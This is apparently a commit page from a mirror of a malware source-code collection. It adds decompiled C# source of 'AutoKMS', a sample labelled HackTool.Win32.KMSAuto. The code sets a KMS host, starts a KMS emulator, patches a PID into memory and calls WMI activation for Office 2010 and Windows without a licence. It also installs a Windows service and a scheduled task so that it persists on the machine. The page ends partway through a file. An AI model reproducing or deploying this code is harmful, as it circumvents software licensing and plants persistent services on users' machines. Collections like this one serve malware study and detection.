mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-20 01:39:23 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyFileVersion("2.1.6.0")]
|
||||
[assembly: Guid("58acc958-754c-480c-9c3b-77a6573ae75e")]
|
||||
[assembly: AssemblyTitle("AutoKMS")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyProduct("AutoKMS")]
|
||||
[assembly: AssemblyCopyright("CODYQX4 & Bosh")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+381
@@ -0,0 +1,381 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.AutoKMS
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.ServiceProcess;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal class AutoKMS
|
||||
{
|
||||
private StreamWriter log;
|
||||
private string logWrite;
|
||||
public static bool AutoKMSServiceEnabled;
|
||||
|
||||
public void RunAutoKMS()
|
||||
{
|
||||
AutoKMS.AutoKMS.AutoKMSServiceEnabled = Common.IsAutoKMSServiceInstalled();
|
||||
if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
ServiceController serviceController = new ServiceController();
|
||||
serviceController.ServiceName = nameof (AutoKMS);
|
||||
if (serviceController.Status.ToString().ToLower() == "stopped")
|
||||
serviceController.Start();
|
||||
}
|
||||
this.log = !Settings.AutoKMSSettings.Logging ? new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp", true) : new StreamWriter(Directory.GetCurrentDirectory() + "\\AutoKMS.log", true);
|
||||
this.logWrite = "------------------------------------";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.logWrite = "AutoKMS Ran At " + (object) DateTime.Now + ".";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (Settings.AutoKMSSettings.UseKMSEmulator)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.StartKMSEmulator();
|
||||
this.logWrite = "Started KMSEmulator.exe";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (Settings.AutoKMSSettings.KMSPID != string.Empty)
|
||||
{
|
||||
if (Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
|
||||
{
|
||||
KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
|
||||
this.logWrite = "Changed KMS PID To: " + Settings.AutoKMSSettings.KMSPID;
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.AutoKMSSettings.KMSPID = string.Empty;
|
||||
Settings.MakeNewAutoKMSINIFile();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Copy Or Start KMSEmulator.exe";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.log.Close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.logWrite = "Attempting To Activate Office 2010." + Environment.NewLine;
|
||||
this.log.Write(this.logWrite);
|
||||
if (!Common.OfficeInstalled)
|
||||
{
|
||||
this.logWrite = "Office 2010 Is Not Installed!" + Environment.NewLine;
|
||||
this.log.Write(this.logWrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.logWrite = "Checking Installed Office KMS Products.";
|
||||
Common.GetLicConfigStatus();
|
||||
if (Common.AccessVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Access KMS Installed.";
|
||||
if (Common.ExcelVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Excel KMS Installed.";
|
||||
if (Common.GrooveVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "SharePoint Workspace KMS Installed.";
|
||||
if (Common.InfoPathVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "InfoPath KMS Installed.";
|
||||
if (Common.OneNoteVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "OneNote KMS Installed.";
|
||||
if (Common.OutlookVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Outlook KMS Installed.";
|
||||
if (Common.PowerPointVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "PowerPoint KMS Installed.";
|
||||
if (Common.ProjectProVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Project Professional KMS Installed.";
|
||||
if (Common.ProjectStdVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Project Standard KMS Installed.";
|
||||
if (Common.ProPlusVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Professional Plus KMS Installed.";
|
||||
if (Common.PublisherVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Publisher KMS Installed.";
|
||||
if (Common.SmallBusBasicsVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Small Business Basics KMS Installed.";
|
||||
if (Common.StandardVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Standard KMS Installed.";
|
||||
if (Common.VisioPremVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Premium KMS Installed.";
|
||||
if (Common.VisioProVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Professional KMS Installed.";
|
||||
if (Common.VisioStdVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Visio Standard KMS Installed.";
|
||||
if (Common.WordVLLicenseInstalled)
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Word KMS Installed.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHost();
|
||||
this.logWrite = "Successfully Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Set Office KMS Host To " + Settings.AutoKMSSettings.KMSServer;
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.AccessVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Access.";
|
||||
this.ActivateKMS("8ce7e872-188c-4b98-9d90-f8f90b7aad02");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ExcelVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Excel.";
|
||||
this.ActivateKMS("cee5d470-6e3b-4fcc-8c2b-d17428568a9f");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.GrooveVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate SharePoint Workspace.";
|
||||
this.ActivateKMS("8947d0b8-c33b-43e1-8c56-9b674c052832");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.InfoPathVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate InfoPath.";
|
||||
this.ActivateKMS("ca6b6639-4ad6-40ae-a575-14dee07f6430");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.OneNoteVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate OneNote.";
|
||||
this.ActivateKMS("ab586f5c-5256-4632-962f-fefd8b49e6f4");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.OutlookVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Outlook.";
|
||||
this.ActivateKMS("ecb7c192-73ab-4ded-acf4-2399b095d0cc");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.PowerPointVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate PowerPoint.";
|
||||
this.ActivateKMS("45593b1d-dfb1-4e91-bbfb-2d5d0ce2227a");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProjectProVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Project Professional.";
|
||||
this.ActivateKMS("df133ff7-bf14-4f95-afe3-7b48e7e331ef");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProjectStdVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Project Standard.";
|
||||
this.ActivateKMS("5dc7bf61-5ec9-4996-9ccb-df806a2d0efe");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.ProPlusVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Professional Plus.";
|
||||
this.ActivateKMS("6f327760-8c5c-417c-9b61-836a98287e0c");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.PublisherVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Publisher.";
|
||||
this.ActivateKMS("b50c4f75-599b-43e8-8dcd-1081a7967241");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.SmallBusBasicsVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Small Business Basics.";
|
||||
this.ActivateKMS("ea509e87-07a1-4a45-9edc-eba5a39f36af");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.StandardVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Standard.";
|
||||
this.ActivateKMS("9da2a678-fb6b-4e67-ab84-60dd6a9c819a");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioPremVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Premium.";
|
||||
this.ActivateKMS("92236105-bb67-494f-94c7-7f7a607929bd");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioProVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Professional.";
|
||||
this.ActivateKMS("e558389c-83c3-4b29-adfe-5e4d7f46c358");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.VisioStdVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Visio Standard.";
|
||||
this.ActivateKMS("9ed833ff-4f92-4f36-b370-8683a4f13275");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Common.WordVLLicenseInstalled)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Word.";
|
||||
this.ActivateKMS("2d0882e7-a4e7-423b-8ccc-70d91e0158b1");
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
if (Settings.AutoKMSSettings.AutoRemoveKMSHost)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.RemoveKMSHost();
|
||||
this.logWrite = "Removed Office KMS Host Registry Entry.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Remove Office KMS Host Registry Entry.";
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Settings.AutoKMSSettings.ActivateWindows)
|
||||
{
|
||||
this.logWrite = "Attempting To Activate Windows.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
this.ActivateKMSWindows();
|
||||
}
|
||||
if (Settings.AutoKMSSettings.UseKMSEmulator)
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.StopKMSEmulator();
|
||||
this.logWrite = "Stopped KMSEmulator.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Stop KMSEmulator.";
|
||||
}
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
this.log.Close();
|
||||
if (!Settings.AutoKMSSettings.Logging)
|
||||
Common.FileDelete(Directory.GetCurrentDirectory() + "\\AutoKMS.tmp");
|
||||
if (Common.IsAutoKMSCustomTaskInstalled())
|
||||
return;
|
||||
Activation.DeleteAutoKMSNormalTask();
|
||||
Activation.MakeAutoKMSNormalTask(Directory.GetCurrentDirectory());
|
||||
}
|
||||
|
||||
public bool ActivateKMS(string SKUID)
|
||||
{
|
||||
int num = 1;
|
||||
bool flag = false;
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionProduct.ID='" + SKUID + "'", (ObjectGetOptions) null);
|
||||
while (num < Settings.AutoKMSSettings.ActAttempts + 1)
|
||||
{
|
||||
if (!flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
managementObject.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
flag = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
++num;
|
||||
}
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (!flag)
|
||||
{
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
|
||||
return false;
|
||||
}
|
||||
this.logWrite = this.logWrite + Environment.NewLine + "Successfully activated after " + (object) num + " attempts.";
|
||||
return true;
|
||||
}
|
||||
|
||||
public void ActivateKMSWindows()
|
||||
{
|
||||
if (!AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHostWindows();
|
||||
this.logWrite = "Set Windows KMS Host";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Set Windows KMS Host! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingProduct").Get())
|
||||
{
|
||||
empty = Convert.ToString(managementObject["ID"]);
|
||||
if (Convert.ToInt32(managementObject["LicenseStatus"]) != 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Query Windows License Status! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
int num = 1;
|
||||
bool flag = false;
|
||||
ManagementObject managementObject1 = new ManagementObject("root\\CIMV2", "SoftwareLicensingProduct.ID='" + empty + "'", (ObjectGetOptions) null);
|
||||
while (num < Settings.AutoKMSSettings.ActAttempts + 1)
|
||||
{
|
||||
if (!flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
managementObject1.InvokeMethod("Activate", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
flag = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
++num;
|
||||
}
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
this.logWrite = flag ? "Successfully activated after " + (object) num + " attempts." : "Failed To Activate " + (object) Settings.AutoKMSSettings.ActAttempts + " Times.";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
if (!Settings.AutoKMSSettings.AutoRemoveKMSHost)
|
||||
return;
|
||||
if (AutoKMS.AutoKMS.AutoKMSServiceEnabled)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Activation.RemoveKMSHostWindows();
|
||||
this.logWrite = "Removed Windows KMS Host";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.logWrite = "Failed To Remove Windows KMS Host! Maybe this version of Windows isn't supported?";
|
||||
this.log.WriteLine(this.logWrite);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.AutoKMSService
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.ServiceProcess;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal class AutoKMSService : ServiceBase
|
||||
{
|
||||
private IContainer components;
|
||||
private BackgroundWorker workerStart;
|
||||
public static bool WindowsKMSSet = true;
|
||||
public static bool OfficeKMSSet = true;
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.workerStart = new BackgroundWorker();
|
||||
this.workerStart.DoWork += new DoWorkEventHandler(this.workerStart_DoWork);
|
||||
this.workerStart.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.workerStart_RunWorkerCompleted);
|
||||
this.ServiceName = "AutoKMS";
|
||||
}
|
||||
|
||||
public AutoKMSService() => this.InitializeComponent();
|
||||
|
||||
protected override void OnStart(string[] args) => this.workerStart.RunWorkerAsync();
|
||||
|
||||
protected override void OnStop()
|
||||
{
|
||||
if (AutoKMSService.OfficeKMSSet)
|
||||
Activation.RemoveKMSHost();
|
||||
if (AutoKMSService.WindowsKMSSet)
|
||||
Activation.RemoveKMSHostWindows();
|
||||
Activation.StopKMSEmulator();
|
||||
}
|
||||
|
||||
private void workerStart_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHost();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
AutoKMSService.OfficeKMSSet = false;
|
||||
}
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHostWindows();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
AutoKMSService.WindowsKMSSet = false;
|
||||
}
|
||||
Activation.StartKMSEmulator();
|
||||
if (!Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
|
||||
return;
|
||||
KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
|
||||
}
|
||||
|
||||
private void workerStart_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Program
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.ServiceProcess;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Common.OfficeCriticalVariablesCheck();
|
||||
Directory.SetCurrentDirectory(Path.GetDirectoryName(Application.ExecutablePath));
|
||||
Settings.GetSettingsAutoKMS();
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
if (commandLineArgs.Length > 1)
|
||||
{
|
||||
if (!commandLineArgs[1].Equals("/Application", StringComparison.CurrentCultureIgnoreCase))
|
||||
return;
|
||||
new AutoKMS.AutoKMS().RunAutoKMS();
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!Common.IsAutoKMSServiceInstalled())
|
||||
Activation.MakeAutoKMSService(Environment.CurrentDirectory);
|
||||
ServiceBase.Run(new ServiceBase[1]
|
||||
{
|
||||
(ServiceBase) new AutoKMSService()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Properties.Resources
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace AutoKMS.Properties
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) AutoKMS.Properties.Resources.resourceMan, (object) null))
|
||||
AutoKMS.Properties.Resources.resourceMan = new ResourceManager("AutoKMS.Properties.Resources", typeof (AutoKMS.Properties.Resources).Assembly);
|
||||
return AutoKMS.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => AutoKMS.Properties.Resources.resourceCulture;
|
||||
set => AutoKMS.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] Keygen => (byte[]) AutoKMS.Properties.Resources.ResourceManager.GetObject(nameof (Keygen), AutoKMS.Properties.Resources.resourceCulture);
|
||||
}
|
||||
}
|
||||
+2651
File diff suppressed because it is too large
Load Diff
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Properties.Settings
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace AutoKMS.Properties
|
||||
{
|
||||
